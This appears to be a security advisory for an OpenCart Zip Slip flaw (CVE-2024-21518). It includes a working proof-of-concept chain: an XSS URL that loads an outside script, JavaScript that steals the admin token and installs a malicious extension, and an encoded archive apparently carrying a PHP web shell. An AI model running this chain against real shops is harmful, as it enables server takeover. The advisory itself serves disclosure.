Arbitrary File Write via Archive Extraction (Zip Slip) Affecting opencart/opencart package, versions >=4.0.0.0
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-OPENCARTOPENCART-7266578
- published 21 Jun 2024
- disclosed 17 Jun 2024
- credit Calum Hutton
Introduced: 17 Jun 2024
CVE-2024-21518 Open this link in a new tabHow to fix?
There is no fixed version for opencart/opencart
.
Overview
opencart/opencart is a shopping cart system
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). A Zip Slip issue was identified via the marketplace installer due to improper sanitization of the target path, allowing files within a malicious archive to traverse the filesystem and be extracted to arbitrary locations. An attacker can create arbitrary files in the web root of the application and overwrite other existing files by exploiting this vulnerability.
PoC
Combining this with one of the previously identified XSS issues within the admin functionality, the full exploit chain would be as follows:
Attacker sends URL including XSS payload to admin: https://mywebstore.com/admin/index.php?route=common/filemanager.list&directory=demo%2522%253E%253Cscript%2Bsrc%253D%2522http%253A%252F%252Flocalhost%253A8000%252Foc.js%2522%253E%253C%252Fscript%253E%253Cinput%2Btype%253D%2522hidden
Admin is prompted to login. Upon login, they are redirected to the above URL, including a user_token
generated at login
The XSS payload includes a Javascript file hosted on another domain, as below - in the example payload it is http://localhost:8000/oc.js
:
// Store host
let host = 'https://mywebstore.com'
// Base64 encoded content of the malicious extension zip
let extB64 = 'UEsDBBQAAAAAAKcGglcavkeoQwAAAEMAAAAMAAAALi4vLi4vb2MucGhwPD9waHAgCgppZiAoaXNzZXQoJF9HRVRbJ2MnXSkpIHsKICAgIGVjaG8gc3lzdGVtKCRfR0VUWydjJ10pOwp9Cgo/PlBLAwQUAwAACABojIFXziDSgW4AAACKAAAADAAAAGluc3RhbGwuanNvbi2MMQ7CMAxF957CeEYprN0QCwuHiCKjRhCnSpyGqurdWysd/3tPf+0AkG0gHADfC9BfiLOPjFc1MyUdKu/m1pgtMsak6OECwTOmyTTz8/xVPopMeej7WquxR2NcDK3wnCUVJ+fny84En8IX7LYdUEsBAhQDFAAAAAAApwaCVxq+R6hDAAAAQwAAAAwAAAAAAAAAAAAAALSBAAAAAC4uLy4uL29jLnBocFBLAQI/AxQDAAAIAGiMgVfOINKBbgAAAIoAAAAMACQAAAAAAAAAIICkgW0AAABpbnN0YWxsLmpzb24KACAAAAAAAAEAGACAy2m+fCTaAQDBQ2aeJNoBAAXQMZ4k2gFQSwUGAAAAAAIAAgCYAAAABQEAAAAA'
async function poc(token) {
console.log(Got user token :) [${token}]
)
let uploadEndpoint = `${host}/admin/index.php?route=marketplace/installer.upload&user_token=${token}`;
let blob = new Blob([Uint8Array.from(atob(extB64), c => c.charCodeAt(0))], {type: 'application/octet-stream'});
let form = new FormData();
form.append("file", blob, "acmeext.ocmod.zip");
let response = await fetch(uploadEndpoint, {
method: "POST",
mode: "no-cors",
body: form,
});
let json = await response.json()
console.log(`Got upload response: ${JSON.stringify(json)}`)
if (json.hasOwnProperty("success")) {
console.log('Uploaded extension, attempting to install..');
let installId = 5;
let installCheckEndpoint = `${host}/oc.php`;
let status = -1;
while ((status = (await fetch(installCheckEndpoint)).status) != 200 && installId < 50) {
console.log(`Attempting install with id: ${installId}`)
let installEndpoint = `${host}/admin/index.php?route=marketplace/installer.install&extension_install_id=${installId}&user_token=${token}`;
let response = await fetch(installEndpoint);
let json = await response.json()
console.log(`Got install response with id [${installId}]: ${JSON.stringify(json)}`)
installId++;
}
console.log(status == 200 ? ":)" : ":(")
} else {
console.log('Failed to upload extension :(');
}
}
// Get the user token
let userToken = new URLSearchParams(window.location.search).get("user_token") ?? null;
if (userToken) {
// Only continue with a user token
poc(userToken)
} else {
console.log('Couldnt get user token :(');
}